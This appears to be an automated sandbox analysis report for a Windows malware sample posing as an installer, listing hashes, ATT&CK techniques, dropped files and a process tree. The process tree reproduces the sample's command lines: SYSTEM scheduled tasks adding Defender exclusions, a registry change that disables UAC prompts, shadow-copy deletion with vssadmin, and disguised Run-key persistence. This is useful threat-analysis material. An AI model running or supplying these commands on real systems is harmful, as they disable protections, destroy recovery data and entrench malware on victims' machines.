dba52f1a3149510fd847bdfade319db125019d7727785f662b26955c0e089850

Analysis

max time kernel
147s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
07/08/2026, 04:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
setup_r8007.exe
Size 61.7MB
Sample260807-ephx7adh46
SHA256 dba52f1a3149510fd847bdfade319db125019d7727785f662b26955c0e089850
MD5 e5a6ac9ba96ed2fcea299c12c3fe3cb9
SHA1 3bc137bea95554a50a5518bc6f008be3182336eb
SHA512 9d004f0845251c11a4c8125448476cdd2e9bd34b2810bc9cec63d827cbffb8baf8e50d69d209805b4f3c1dfc9b8c6eb706df388c29849847933ae09aba754b67
SSDEEP 98304:ouj9nmW2eUAAq4gm4mNSh6q+luaePvl8/bbJtF0gofLzXQQ7QfM3r0:JRnmW2s/m3xq9a2l8/QX9EfM3r0
TLSH
T197E78216B74289CEE076A238944B8F51E336E9704A71933723B5735D1FFE38C8EA6149
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	OLSb3p.exe

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\cZbj4k = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	bPUilH.exe

Executes dropped EXE 3 IoCs

pid	Process
4960	bPUilH.exe
2884	bPUilH.exe
3440	OLSb3p.exe

Loads dropped DLL 3 IoCs

pid	Process
4960	bPUilH.exe
2884	bPUilH.exe
3440	OLSb3p.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
852	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\cZbj4k\\bPUilH.exe\""	bPUilH.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\OLSb3p\\OLSb3p.exe\""	OLSb3p.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2692	cmd.exe
2072	cmd.exe
4304	cmd.exe
2680	cmd.exe
5108	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	bPUilH.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\OLSb3p\thumbs.db	bPUilH.exe
File opened for modification	C:\Program Files (x86)\OLSb3p\OLSb3p.exe	bPUilH.exe
File opened for modification	C:\Program Files (x86)\OLSb3p\image.png	bPUilH.exe
File opened for modification	C:\Program Files (x86)\OLSb3p\thumbs.db	bPUilH.exe
File opened for modification	C:\Program Files (x86)\OLSb3p	bPUilH.exe
File created	C:\Program Files (x86)\OLSb3p\OLSb3p.exe	bPUilH.exe
File created	C:\Program Files (x86)\OLSb3p\XPSPLOG.dll	bPUilH.exe
File created	C:\Program Files (x86)\OLSb3p\image.png	bPUilH.exe
File opened for modification	C:\Program Files (x86)\OLSb3p\XPSPLOG.dll	bPUilH.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 8 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1404	cmd.exe
2120	cmd.exe
2688	cmd.exe
3368	cmd.exe
64	cmd.exe
3280	cmd.exe
2104	cmd.exe
5112	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OLSb3p.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	bPUilH.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2576	schtasks.exe
3200	schtasks.exe
976	schtasks.exe
3788	schtasks.exe
4336	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4224	setup_r8007.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe
4960	bPUilH.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4960 wrote to memory of 4304	4960	bPUilH.exe	96
PID 4304 wrote to memory of 3788	4304	cmd.exe	99
PID 4960 wrote to memory of 2680	4960	bPUilH.exe	100
PID 4304 wrote to memory of 3352	4304	cmd.exe	102
PID 2680 wrote to memory of 4336	2680	cmd.exe	104
PID 4304 wrote to memory of 3976	4304	cmd.exe	107
PID 2680 wrote to memory of 4004	2680	cmd.exe	108
PID 4960 wrote to memory of 5108	4960	bPUilH.exe	110
PID 2680 wrote to memory of 996	2680	cmd.exe	111
PID 5108 wrote to memory of 2576	5108	cmd.exe	113
PID 4960 wrote to memory of 2692	4960	bPUilH.exe	115
PID 2692 wrote to memory of 3200	2692	cmd.exe	117
PID 2692 wrote to memory of 4668	2692	cmd.exe	118
PID 2692 wrote to memory of 1060	2692	cmd.exe	120
PID 5108 wrote to memory of 1840	5108	cmd.exe	121
PID 5108 wrote to memory of 3952	5108	cmd.exe	122
PID 4960 wrote to memory of 2072	4960	bPUilH.exe	123
PID 2072 wrote to memory of 976	2072	cmd.exe	126
PID 2072 wrote to memory of 3832	2072	cmd.exe	127
PID 2072 wrote to memory of 3132	2072	cmd.exe	129
PID 2688 wrote to memory of 2920	2688	cmd.exe	131
PID 3368 wrote to memory of 1408	3368	cmd.exe	132
PID 64 wrote to memory of 3484	64	cmd.exe	133
PID 4960 wrote to memory of 3440	4960	bPUilH.exe	134

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	OLSb3p.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\setup_r8007.exe
"C:\Users\Admin\AppData\Local\Temp\setup_r8007.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4224

C:\Users\Public\cZbj4k\bPUilH.exe
C:\Users\Public\cZbj4k\bPUilH.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\cZbj4k\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4304
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\cZbj4k\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3788
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3352
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4336
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4004
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5108
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2576
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1840
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2692
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3200
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4668
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2072
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:976
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3832
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3132
- C:\Program Files (x86)\OLSb3p\OLSb3p.exe
  "C:\Program Files (x86)\OLSb3p\OLSb3p.exe"
  2⤵
  - UAC bypass
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - System policy modification
  PID:3440
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:3280
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\OLSb3p" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2104
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\OLSb3p" /inheritance:r
      4⤵
      Modifies file permissions
      PID:852
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:5112
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:1404
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2120

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\cZbj4k" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2688
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\cZbj4k" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2920

C:\Users\Public\cZbj4k\bPUilH.exe
"C:\Users\Public\cZbj4k\bPUilH.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2884

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4192

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3368
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1408

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:64
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3484

C:\Program Files (x86)\OLSb3p\OLSb3p.exe
"C:\Program Files (x86)\OLSb3p\OLSb3p.exe"
1⤵
PID:2792

C:\Program Files (x86)\th328MU\1f14y.exe
"C:\Program Files (x86)\th328MU\1f14y.exe"
1⤵
PID:4928

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

OLSb3p.exe

Path C:\Program Files (x86)\OLSb3p\OLSb3p.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\OLSb3p\XPSPLOG.dll
Size 4.6MB
SHA256 f92f8b479716b95e63f8e98c7183e77107f4dbcfc05ec3c5fc78c1508c5f4235
MD5 136e54db508f9e01df244501063efa66
SHA1 999140b5f84beb16e6d84aa635ff718bc09864b6
SHA512 09dcf3ffdc14f1fd22e397d58ec7824cfddc8e20d3df129a726a3b8d41c3a54c9dc50e9f14bcb9771f03cecaec37d900aa65dd55b6be7f5697c4fe2895f34b7a
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyw:BMWKfU+BcUTHCCCfqCiUffnw
TLSH
T1AD263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\OLSb3p\XPSPLOG.dll
Size 3.7MB
SHA256 db2da8797e9d323c6345949b22629dcb93f8781870ae3ef7bdaa86c43d83e6dd
MD5 a98cad8ca23d189dfd2ef12705b00b76
SHA1 d27825c885e26882034e47a975fd5a23cf710a6e
SHA512 441a3e00a700726ac1241a9b688d78830ff0bae923b81e9026aa1d914453bbac4b9c4883d4effd9dbb90e1642c952ef88696825e9590d345cf039fb9713f85e2
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaiOKZCUqyn78eT1581C:yCMWmcKfST5t+BceThTHfaCCUqmJPCYF
TLSH
T19C063309BBDB561EE85672B85F2DFC3EB77928CC4308EC88D499748B9072B79603950D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\OLSb3p\image.png
Size 5.0MB
SHA256 f0736b92cfc2e9c071f2ee9a51671060afa01d8008a76bb0abc70decab57c861
MD5 e002cdae9ba937fba9eb1d2f059c5ad4
SHA1 d2ac6aa7726a6f322b16f13b148831eaf9831932
SHA512 ad38730fdcac815dc2de77ca128fefa8c51d8e6a169047ba7da7f662358b978a76a63f27a6dec7625fba20238982eeac991f351a9a082c0c36e0baf01c2ef794
SSDEEP 98304:vqvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX://u21dGs2rOal3UpkiMT59IZVGhW
TLSH
T138363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\OLSb3p\thumbs.db
Size 358KB
SHA256 070ebe2e163dfa12e929851b2d097f9ac0b8bc3d9c35daaf1799461d8a500d15
MD5 8cb90a955b164246f9e2abb4cab0adb0
SHA1 d4eeab65e86f7568af41d2df26539da034e57266
SHA512 c0d176eacc2287692309dc6dbf16e59c73de1f4242d665ee91a1f450c641a65e94462bd9a8164ca1af72a8b98cb9bd9705fa820d9240d5e1e96936bae8580ed6
SSDEEP 6144:IiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:/8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T15C74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\th328MU\XPSPLOG.dll
Size 2.3MB
SHA256 95b466ec6d902d93e0abce1fa1511c6382a854bc28ed8d29ec5085060dd58d27
MD5 9e874b8dff9acfa45eb8a4ad55f9fb13
SHA1 ae8210e1f3d3cf05d4021ec70fb91e1b5418d7ca
SHA512 17c7462dcb0c581b5a2b449d3e472a2ab86ad3e11823c6c4f19e856ab87bfdbee9466eaf1c90244ba46c26624b6284a0cf73edcb57627e8146e7780f46904d7f
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nED:yCMWmcKfST5t+BceThTz
TLSH
T1EEB5339BF59B461EEA6133792F8DEC9D72FD49C8822DE548D4E2704F4010B6E903E68D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\th328MU\XPSPLOG.dll
Size 2.9MB
SHA256 3f6af352f3956b9ff712e7656e21d57aeeae6fe23b4fffb1828dbbc270c6fc51
MD5 70f61018b503c7f1740e37b455c3c39f
SHA1 46a40cb349302b132a581e664fada18f2fde3a73
SHA512 5de7fc62407d830257ce076bef60ce6dcd2062fa4911c491fe657bfcafaa59554a224b5f886264a7f82c2a0b595e4f8d1335ba3d0eaa574366f2fd746a813632
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaiOKZC3:yCMWmcKfST5t+BceThTHfaCC3
TLSH
T197D533CEAA9B551FE66132792F7CEC7DBABC4AC0431DE845C4A6314F8054BAE903D64C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\th328MU\image.png
Size 576KB
SHA256 46a69ef3494d58789e5718c61174b23ef6992869b104421c1a38a2d4aa7fd4c3
MD5 7ec914e323f38b714689596665e3b2e1
SHA1 284bce7dc51526ceafc05357053664759e327e26
SHA512 757d3862f17dbcbed14d1ccbc7d5a9258b4cad7fdf113d7b39956ca9763e845cc091beeca7c4323e0eef680a127efb36a4feeeefec2df31df4ce42010c8b9c9f
SSDEEP 12288:5+iVdOLoz+h2igqpsBtyOnDCTsKYSJ0ALChaQjlV4xROEkZ8dXVrwx+s:5VdAvLgqCBcOnDtNu0JYQBVSRO5UXV85
TLSH
T1C0C42323E174E49F8BDA05AA57E12665EBF32AF0C050DD432F6C2144FE4E860271DDBA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

UxEnhance64.dll

Path C:\Users\Public\cZbj4k\UxEnhance64.dll
Size 3.1MB
SHA256 bfe1a8a6680c40d450bae72294d7448692a16cbd264b1792e6a0c14da9b0e110
MD5 aa1e58449984ea5ba76ad12c9b4add77
SHA1 5a8e5cf2f4836b6118ec7260426a928b44d70359
SHA512 285e70f636ff8b20449dbc24ccac2b46174563c7da0d4d83aa0a83d440913c4a50be315ba5a7275af6fba0ed4a99f873ec532063082269a8569245ca5d6787ae
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+H:P9m29xx3Tiqt06ox6+z2rNNrKoH
TLSH
T1ADE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\cZbj4k\adoresd.dat
Size 4.7MB
SHA256 72bcfda2809b18a550203d552ba2f79aff970420b59fa5303ba615178e96fe25
MD5 b384ec8b125512fb4bdd83e6a6acd9e8
SHA1 0dd09373d3732a1989715e8749536eeee1fd14ac
SHA512 cd406f3ea9d69b43934fd91549fe21329bdbb5fb93358794696354e62601ae3c2d12309eb66031f3610911c2e53b3e368c0b490ccff7c0fa9ede1046b692163e
SSDEEP 98304:Pmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:eu1SwOflfZPF6Ma0bsoa5+qd
TLSH
T1593633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bPUilH.exe

Path C:\Users\Public\cZbj4k\bPUilH.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
